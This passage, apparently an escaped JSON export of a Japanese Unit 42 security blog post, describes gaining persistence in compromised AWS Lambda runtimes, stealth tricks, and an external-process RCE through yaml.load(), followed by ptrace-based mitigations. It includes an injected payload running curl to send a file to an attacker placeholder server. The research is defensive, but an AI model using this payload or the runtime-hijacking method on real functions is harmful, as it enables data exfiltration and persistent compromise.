\/><\/a>\u4e00\u6642\u7684\u306a\u74b0\u5883\u3067\u306e\u6c38\u7d9a\u6027<\/h5>\n<p>Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u4fb5\u5bb3\u3059\u308b\u3068\u3001Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3078\u306e\u3059\u3079\u3066\u306e\u8981\u6c42\u3092\u30e9\u30f3\u30bf\u30a4\u30e0\u3067\u8868\u793a\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002\u3080\u308d\u3093\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u304c\u983b\u7e41\u306b\u8981\u6c42\u3092\u53d7\u4fe1\u3057\u306a\u3044\u5834\u5408\u3001\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306fAWS\u306b\u3088\u3063\u3066\u524a\u9664\u3055\u308c\u307e\u3059\u3002\u307e\u305f\u3001\u8907\u6570\u306e\u8981\u6c42\u304c\u540c\u6642\u306bLambda\u306b\u9001\u4fe1\u3055\u308c\u308b\u5834\u5408\u3001\u305d\u306e\u4e00\u90e8\u306f\u4ed6\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306b\u8ee2\u9001\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u5de7\u5999\u306a\u653b\u6483\u8005\u306f\u3001\u4f55\u3089\u304b\u306e\u30c8\u30ea\u30c3\u30af\u3092\u4f7f\u3063\u3066\u3088\u308a\u3088\u3044\u8db3\u639b\u304b\u308a\u3092\u5f97\u3066\u3001Lambda\u3078\u306e\u8981\u6c42\u306e\u307b\u3068\u3093\u3069\u3092\u62bd\u51fa\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u4ee5\u4e0b\u306b\u4f8b\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<ul style=\"padding-left: 50px;\">\n<li>\u653b\u6483\u8005\u306fLambda\u306b\u8981\u6c42\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u306eLambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5b9a\u671f\u7684\u306b\u300c\u30a6\u30a9\u30fc\u30e0\u30a2\u30c3\u30d7\u300d\u3067\u304d\u307e\u3059\u3002\u3053\u306e\u8981\u6c42\u30bf\u30a4\u30d7\u306b\u5bfe\u3057\u3066\u7570\u306a\u308b\u5fdc\u7b54\u3092\u3059\u308b\u3088\u3046\u306b\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u5909\u66f4\u3057\u3001\u307e\u3060\u30a2\u30af\u30c6\u30a3\u30d6\u3067\u3042\u308b\u3053\u3068\u3092\u77e5\u3089\u305b\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/li>\n<li>\u653b\u6483\u8005\u306f\u540c\u6642\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001\u3044\u304f\u3064\u304b\u306eLambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u4e57\u3063\u53d6\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/li>\n<\/ul>\n<h5 style=\"font-size: 21px;\">\u30b9\u30c6\u30eb\u30b9\u6027<\/h5>\n<p>\u4ed6\u306e\u653b\u6483\u3068\u540c\u69d8\u306b\u3001\u691c\u51fa\u3055\u308c\u305a\u306b\u3044\u308b\u3053\u3068\u3082\u554f\u984c\u306b\u306a\u308a\u307e\u3059\u3002\u73fe\u5728\u3001\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u7f6e\u304d\u63db\u3048\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u306e\u306b\u7d042\u79d2\u304b\u304b\u308a\u307e\u3059\u3002Lambda\u306e\u901a\u5e38\u306e\u5b9f\u884c\u6642\u9593\u3068\u6bd4\u3079\u3066\u3001\u304b\u306a\u308a\u9577\u3044\u6642\u9593\u304c\u304b\u304b\u308b\u308f\u3051\u3067\u3059\u3002\u305f\u3060\u3057\u3001\u3053\u306e\u6642\u9593\u306f\u3001bootstrap.py\u304b\u3089\u30b3\u30d4\u30fc\u3055\u308c\u305f\u4e0d\u8981\u306a\u521d\u671f\u5316\u30ed\u30b8\u30c3\u30af\u3092\u524a\u9664\u3059\u308b\u3053\u3068\u3067\u77ed\u7e2e\u3067\u304d\u307e\u3059\u3002\u53cd\u5bfe\u306b\u3001\u5b9f\u884c\u6642\u9593\u304c\u9577\u3044\u305f\u3081\u306b\u30b3\u30fc\u30eb\u30c9\u30b9\u30bf\u30fc\u30c8\u3068\u9593\u9055\u308f\u308c\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u3092\u96a0\u3059\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<br \/>\n\u982d\u306e\u5207\u308c\u308b\u653b\u6483\u8005\u306f\u95a2\u6570\u306e\u901a\u5e38\u306e\u52d5\u4f5c\u3084\u51fa\u529b\u3092\u5b66\u7fd2\u3057\u3001CloudWatch\u30ed\u30b0\u3092\u4f7f\u7528\u3057\u3066\u9632\u5fa1\u8005\u3092\u6df7\u4e71\u3055\u305b\u3001\u653b\u6483\u3092\u8986\u3044\u96a0\u3059\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/p>\n<h3>\u5916\u90e8\u30d7\u30ed\u30bb\u30b9RCE<\/h3>\n<p>\u653b\u6483\u8005\u306f<span class=\"lang:default decode:true crayon-inline \">yaml.load()<\/span>\u00a0\u8106\u5f31\u6027\u3092\u5229\u7528\u3057\u3001\u30b3\u30fc\u30c9\u3092\u8106\u5f31\u6027\u306e\u3042\u308b\u30d7\u30ed\u30bb\u30b9\u306e\u4e00\u90e8\u3068\u3057\u3066\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002\u4ed6\u65b9\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5916\u90e8\u30d7\u30ed\u30bb\u30b9\u3068\u3057\u3066\u5b9f\u884c\u3059\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u591a\u6570\u3042\u308a\u307e\u3059\u3002\u8981\u6c42\u306e\u672c\u6587(Base64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u6e08\u307f)\u3092\u8fd4\u3059\u3001\u4ee5\u4e0b\u306e\u8106\u5f31\u306aLambda\u3092\u8003\u3048\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n<p><img  class=\"size-full wp-image-100391 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_14_externalRCE-768x188.png\" sizes=\"(max-width: 768px) 100vw, 768px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_14_externalRCE-768x188.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_14_externalRCE-768x188-300x73.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_14_externalRCE-768x188-370x91.png 370w\" alt=\"\" width=\"768\" height=\"188\" \/><\/p>\n<p>\u653b\u6483\u8005\u306f\u3053\u306eLambda\u3092\u60aa\u7528\u3057\u3066\u3001\u4efb\u610f\u306e\u30b3\u30de\u30f3\u30c9\u3092\u9001\u4fe1\u3057\u3001\u30b3\u30de\u30f3\u30c9\u306f\u5916\u90e8\u30b7\u30a7\u30eb\u30d7\u30ed\u30bb\u30b9\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001<span class=\"lang:default decode:true crayon-inline \">\"; curl -f \"@\/some\/path\" {our-server-ip}:{port};\"<\/span>\u00a0\u3092\u9001\u4fe1\u3057\u3066\u3001Lambda\u304b\u3089\u653b\u6483\u8005\u306e\u30b5\u30fc\u30d0\u30fc\u306b\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u30bf\u30a4\u30d7\u306eRCE\u8106\u5f31\u6027\u3092\u4f7f\u7528\u3057\u3066Lambda\u306e\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u4e57\u3063\u53d6\u308b\u3053\u3068\u306f<strong>\u53ef\u80fd<\/strong>\u3067\u3059\u304c\u3001\u4f7f\u7528\u3059\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u3044\u304f\u3064\u304b\u306e\u5909\u66f4\u3092\u52a0\u3048\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u5916\u90e8\u30d7\u30ed\u30bb\u30b9\u3067\u5b9f\u884c\u3055\u308c\u308b\u305f\u3081\u3001inspect\u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066invoke id\u3092\u62bd\u51fa\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002\u4ee3\u308f\u308a\u306b\u3001 <span class=\"lang:default decode:true crayon-inline \">\/proc\/${bootstrap-pid}\/mem<\/span>\u00a0\u3092\u4ecb\u3057\u3066\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u306e\u30e1\u30e2\u30ea\u3092\u76f4\u63a5\u8aad\u307f\u53d6\u3063\u3066\u3001regex\u3092\u4f7f\u7528\u3057\u3066invoke id\u5f62\u5f0f\u3068\u4e00\u81f4\u3059\u308b\u30d0\u30a4\u30c8\u30b7\u30fc\u30b1\u30f3\u30b9\u3092\u63a2\u3059\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u307e\u305f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u53e4\u3044\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u3092\u5f37\u5236\u7d42\u4e86\u307e\u305f\u306f\u505c\u6b62\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<br \/>\n\u307b\u304b\u306b\u3082\u3044\u304f\u3064\u304b\u3001\u5c0f\u898f\u6a21\u306a\u8abf\u6574\u304c\u3042\u308a\u307e\u3059\u3002\u8208\u5473\u306e\u3042\u308b\u65b9\u306e\u305f\u3081\u306b\u3001\u4e0a\u8a18\u306e\u8106\u5f31\u6027\u306e\u3042\u308bbase64 Lambda\u3092\u4f7f\u7528\u3057\u3066\u3001\u5c0f\u3055\u3044PoC\u3092\u4f5c\u6210\u3057\u307e\u3057\u305f\u3002<a href=\"https:\/\/github.com\/twistlock\/lambda-persistency-poc\/tree\/master\/external_process_poc\" target=\"_blank\" rel=\"noopener noreferrer\">\u3053\u3061\u3089<\/a>\u304b\u3089\u5165\u624b\u3067\u304d\u307e\u3059\u3002<\/p>\n<h3>\u7d50\u8ad6<\/h3>\n<p>\u79c1\u304c\u5f37\u8abf\u3057\u305f\u3044\u306e\u306f\u3001\u3053\u306e\u30d6\u30ed\u30b0\u3067\u793a\u3057\u305f\u653b\u6483\u306fAWS\u306e\u8106\u5f31\u6027\u3067\u306f\u306a\u3044\u3068\u3044\u3046\u70b9\u3067\u3059\u3002AWS Lambda\u306f\u5171\u6709\u8cac\u4efb\u30e2\u30c7\u30eb\u306b\u5f93\u3063\u3066\u304a\u308a\u3001\u30b3\u30fc\u30c9\u306b\u8106\u5f31\u6027\u304c\u3042\u308b\u5834\u5408\u306f\u3001AWS\u306b\u95a2\u3059\u308b\u9650\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u8cac\u4efb\u3067\u3059\u3002\u305d\u306e\u5f8c\u3001AWS\u3067\u624b\u9806\u3092\u5b9f\u884c\u3057\u3066\u3001\u30e9\u30f3\u30bf\u30a4\u30e0\u304b\u3089\u30e6\u30fc\u30b6\u30fc\u30b3\u30fc\u30c9\u3092\u5207\u308a\u96e2\u3059\u3053\u3068\u306f\u3067\u304d\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u30e6\u30fc\u30b6\u30fc\u30b3\u30fc\u30c9\u3092\u5225\u306e\u30d7\u30ed\u30bb\u30b9\u3067\u5b9f\u884c\u3057\u305f\u308a\u3001Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u5185\u3067\u5225\u306e\u6a29\u9650\u3067\u5b9f\u884c\u3057\u305f\u308a\u3067\u304d\u307e\u3059\u304c\u3001\u3053\u3046\u3057\u305f\u624b\u9806\u306e\u591a\u304f\u306f\u3001Lambda\u306e\u4e3b\u306a\u5229\u70b9\u3067\u3042\u308b\u30b9\u30d4\u30fc\u30c9\u3092\u640d\u306d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u79c1\u304c\u63a8\u5968\u3059\u308b\u3001\u5927\u304d\u306a\u30c8\u30e9\u30d6\u30eb\u306a\u3057\u3067\u5b9f\u88c5\u3067\u304d\u308b\u624b\u9806\u306e1\u3064\u306f\u3001<a href=\"https:\/\/www.kernel.org\/doc\/Documentation\/security\/Yama.txt\" target=\"_blank\" rel=\"noopener noreferrer\">ptrace scope<\/a>\u3092 <span class=\"lang:default decode:true crayon-inline\">\/proc\/sys\/kernel\/yama\/ptrace_scope<\/span> \u00a0\u3067\u300c2\u300d ('admin access')\u306b\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u3067\u3059\u3002\u3053\u306e\u8a2d\u5b9a\u306b\u3088\u308a\u3001Lambda\u5185\u90e8\u306eptrace\u30aa\u30da\u30ec\u30fc\u30b7\u30e7\u30f3\u304c\u7121\u52b9\u306b\u306a\u308a\u3001<span class=\"lang:default decode:true crayon-inline \">\/proc\/{bootstrap-pid}\/mem<\/span>\u00a0\u3078\u306e\u30a2\u30af\u30bb\u30b9\u304c\u62d2\u5426\u3055\u308c\u3001\u5916\u90e8\u30d7\u30ed\u30bb\u30b9\u306b\u3088\u308b\u653b\u6483\u3092\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u958b\u767a\u8005\u306f\u3001\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u306f\u4f55\u3082\u3057\u306a\u304f\u3066\u3082\u5b89\u5168\u3060\u3068\u8aa4\u89e3\u3059\u308b\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002\u305d\u3057\u3066\u3001\u305d\u306e\u4e3b\u306a\u539f\u56e0\u306f\u3001\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u306b\u306f\u4e00\u6b21\u7684\u306b\u5b9f\u884c\u3055\u308c\u308b\u306b\u904e\u304e\u306a\u3044\u3068\u3044\u3046\u7279\u6027\u304c\u3042\u308b\u304b\u3089\u3067\u3059\u3002\u3057\u304b\u3057\u3001\u305d\u3046\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u3053\u3053\u306b\u793a\u3057\u305fPoC\u3067\u306f\u3001\u305d\u306e\u3053\u3068\u3092\u5f37\u8abf\u3057\u3066\u3044\u307e\u3059\u3002\u547c\u3073\u51fa\u3057\u306f\u4e92\u3044\u306b\u5b8c\u5168\u306b\u306f\u5207\u308a\u96e2\u3055\u308c\u3066\u306f\u3044\u306a\u3044\u305f\u3081\u3001\u60aa\u610f\u306e\u3042\u308b\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u3001\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u306f\u5b9f\u884c\u30ea\u30bd\u30fc\u30b9\u4ee5\u4e0a\u306e\u5b58\u5728\u306b\u306a\u308a\u5f97\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5b8c\u5168\u306b\u5236\u5fa1\u3059\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u306f\u4ed6\u306e\u547c\u3073\u51fa\u3057\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3066\u3001Lambda\u306e\u52d5\u4f5c\u3092\u5909\u66f4\u3057\u3001\u500b\u4eba\u60c5\u5831\u3092\u6f0f\u6d29\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3053\u3053\u3067\u306f\u3001Python 3.7 \u306e Lambda\u30e9\u30f3\u30bf\u30a4\u30e0\u306b\u7126\u70b9\u3092\u5f53\u3066\u307e\u3057\u305f\u304c\u3001\u3053\u306e\u30bf\u30a4\u30d7\u306e\u4e57\u3063\u53d6\u308a\u653b\u6483\u306f\u591a\u304f\u306e\u5834\u5408\u3001\u4ed6\u306e\u30e9\u30f3\u30bf\u30a4\u30e0\u3067\u3082\u5341\u4e2d\u516b\u4e5d\u6210\u529f\u3057\u307e\u3059\u3002\u3059\u3079\u3066\u306e\u30e9\u30f3\u30bf\u30a4\u30e0\u306f\u540c\u3058\u5b9f\u884c\u30c7\u30b6\u30a4\u30f3\u3092\u5171\u6709\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u30b3\u30fc\u30c9\u306f\u547c\u3073\u51fa\u3057\u5074\u306e\u30e9\u30f3\u30bf\u30a4\u30e0\u3068\u540c\u3058\u6a29\u9650\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u7aef\u7684\u306b\u8a00\u3046\u3068\u3001\u8106\u5f31\u6027\u306e\u3042\u308b\u30e6\u30fc\u30b6\u30fc\u30b3\u30fc\u30c9\u306f\u30e9\u30f3\u30bf\u30a4\u30e0\u3082\u5371\u967a\u306b\u3055\u3089\u3057\u307e\u3059\u3002<\/p>\n<p>\u5168\u4f53\u7684\u306b\u898b\u3066\u3001\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u95a2\u6570\u306f\u3001\u30b3\u30fc\u30c9\u304c\u6bd4\u8f03\u7684\u5c0f\u898f\u6a21\u3067\u3042\u308b\u3068\u3044\u3046\u5229\u70b9\u304c\u3042\u308b\u305f\u3081\u3001\u9069\u5207\u306a\u914d\u616e\u304c\u306a\u3055\u308c\u308c\u3070\u4fdd\u8b77\u3057\u3084\u3059\u3044\u3082\u306e\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<h3>Twistlock\uff08\u73fePrisma Cloud\uff09\u306e\u4fdd\u8b77<\/h3>\n<p>Twistlock\u306e\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9Defender\u306f\u3001\u6b21\u306e3\u3064\u306e\u70b9\u3067PoC\u653b\u6483\u3092\u9632\u304e\u307e\u3059\u3002<\/p>\n<ul style=\"padding-left: 50px;\">\n<li>\u8106\u5f31\u6027\u306e\u3042\u308bYAML\u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u8b58\u5225\u3057\u3066\u3001\u30e6\u30fc\u30b6\u30fc\u306b\u4fee\u6b63\u6e08\u30d0\u30fc\u30b8\u30e7\u30f3\u3078\u306e\u66f4\u65b0\u3092\u4fc3\u3057\u307e\u3059\u3002<\/li>\n<li>\u8aad\u307f\u53d6\u308a\u5c02\u7528\u3068\u5b9a\u7fa9\u3055\u308c\u3066\u3044\u308bLambda\u306e\u5834\u5408\u3001Defender\u306fswitch_runtime.py\u304cLambda\u306e <span class=\"lang:default decode:true crayon-inline \">\/tmp<\/span>\u00a0\u00a0\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u66f8\u304d\u8fbc\u3080\u306e\u3092\u62d2\u5426\u3057\u307e\u3059\u3002<\/li>\n<li>Defender\u306fswitch_runtime.py\u3067 <span class=\"lang:default decode:true crayon-inline \">os.execv<\/span>\u00a0\u00a0\u547c\u3073\u51fa\u3057\u3092\u505c\u6b62\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>\u3080\u308d\u3093\u3001Twistlock Console\u3067\u3082\u3001\u3053\u306e\u7591\u308f\u3057\u3044\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u95a2\u3059\u308b\u30a2\u30e9\u30fc\u30c8\u304c\u751f\u6210\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u5927\u5909\u9577\u3044\u30d6\u30ed\u30b0\u3067\u3057\u305f\u304c\u3001Lambda\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af\u306b\u3064\u3044\u3066\u7406\u89e3\u3092\u6df1\u3081\u3066\u3044\u305f\u3060\u3051\u305f\u3053\u3068\u3068\u601d\u3044\u307e\u3059\u3002\u3054\u8cea\u554f\u304c\u3054\u3056\u3044\u307e\u3057\u305f\u3089\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u307e\u305f\u306f<a href=\"https:\/\/twitter.com\/unit42_intel\" target=\"_blank\" rel=\"noopener noreferrer\">@unit42_intel<\/a>\u3067\u304a\u6c17\u8efd\u306b\u3054\u9023\u7d61\u304f\u3060\u3055\u3044\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30b5\u30fc\u30d0\u30ec\u30b9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 2014\u5e74\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305fAWS Lambda\u306f\u3001\u73fe\u5728\u5e83\u304f\u63a1\u7528\u3055\u308c\u3066\u3044\u308b\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u3068\u3044\u3046\u65b0\u305f\u306a\u30af\u30e9\u30a6\u30c9\u5b9f\u884c\u30e2\u30c7\u30eb\u3092\u4e16\u306b\u9001\u308a\u51fa\u3057\u307e\u3057\u305f\u3002\u305d\u308c\u4ee5\u964d\u3001\u6570\u591a\u304f\u306e\u4f01\u696d\u304cAWS Lambd<\/p>\n","protected":false},"author":323,"featured_media":100535,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4326,4436,4428],"tags":[4537,5828,4853],"product_categories":[4345,4458],"coauthors":[1484],"class_list":["post-108891","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cloud-cybersecurity-research","category-cloud-cybersecurity-research-ja","category-threat-research-ja","tag-aws-ja","tag-rce","tag-remote-code-execution-ja","product_categories-prisma-cloud","product_categories-prisma-cloud-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3067\u306e\u6c38\u7d9a\u6027\u306e\u78ba\u4fdd<\/title>\n<meta name=\"description\" content=\"AWS Lambda\u306a\u3069\u306e\u4e00\u822c\u7684\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u5411\u3051\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u3084\u30e9\u30f3\u30bf\u30a4\u30e0\u4fdd\u8b77\u306a\u3069\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001Lambda\u95a2\u6570\u306bRCE\u8106\u5f31\u6027\u304c\u3042\u3063\u305f\u5834\u5408\u653b\u6483\u8005\u306f\u4f55\u3092\u306a\u3057\u3046\u308b\u3067\u3057\u3087\u3046\u304b\u3002Lambda\u3067\u306e\u30c7\u30fc\u30bf\u51e6\u7406\u30fb\u691c\u8a3c\u5f8c\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u633f\u5165\u3059\u308b\u3068\u3044\u3046\u4e00\u822c\u7684\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u304b\u3089\u691c\u8a3c\u3057\u3066\u307f\u307e\u3057\u305f\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3067\u306e\u6c38\u7d9a\u6027\u306e\u78ba\u4fdd\" \/>\n<meta property=\"og:description\" content=\"AWS Lambda\u306a\u3069\u306e\u4e00\u822c\u7684\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u5411\u3051\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u3084\u30e9\u30f3\u30bf\u30a4\u30e0\u4fdd\u8b77\u306a\u3069\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001Lambda\u95a2\u6570\u306bRCE\u8106\u5f31\u6027\u304c\u3042\u3063\u305f\u5834\u5408\u653b\u6483\u8005\u306f\u4f55\u3092\u306a\u3057\u3046\u308b\u3067\u3057\u3087\u3046\u304b\u3002Lambda\u3067\u306e\u30c7\u30fc\u30bf\u51e6\u7406\u30fb\u691c\u8a3c\u5f8c\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u633f\u5165\u3059\u308b\u3068\u3044\u3046\u4e00\u822c\u7684\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u304b\u3089\u691c\u8a3c\u3057\u3066\u307f\u307e\u3057\u305f\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2019-09-02T13:08:20+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2020-09-29T01:24:08+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/09\/aws-lambda-blog-banner-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"900\" \/>\n\t<meta property=\"og:image:height\" content=\"362\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Yuval Avrahami\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3067\u306e\u6c38\u7d9a\u6027\u306e\u78ba\u4fdd","description":"AWS Lambda\u306a\u3069\u306e\u4e00\u822c\u7684\u30b5\u30fc\u30d0\u30fc\u30ec\u30b9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u5411\u3051\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u3084\u30e9\u30f3\u30bf\u30a4\u30e0\u4fdd\u8b77\u306a\u3069\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001Lambda\u95a2\u6570\u306bRCE\u8106\u5f31\u6027\u304c\u3042\u3063\u305f\u5834\u5408\u653b\u6483\u8005\u306f\u4f55\u3092\u306a\u3057\u3046\u308b\u3067\u3057\u3087\u3046\u304b\u3002Lambda\u3067\u306e\u30c7\u30fc\u30bf\u51e6\u7406\u30fb\u691c\u8a3c\u5f8c\u306b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u633f\u5165\u3059\u308b\u3068\u3044\u3046\u4e00\u822c\u7684\u30e6\u30fc\u30b9\u30b1\u30fc\u30b9\u304b\u3089\u691c\u8a3c\u3057\u3066\u307f\u307e\u3057\u305f\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/ja\/gaining-persistency-vulnerable-lambdas\/","og_locale":"ja_JP","og_type":"article","og_title":"\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3067\u306e\u6c38\u7d9a\u6027\u306e\u78ba\u4fdd","og_description":"AWS 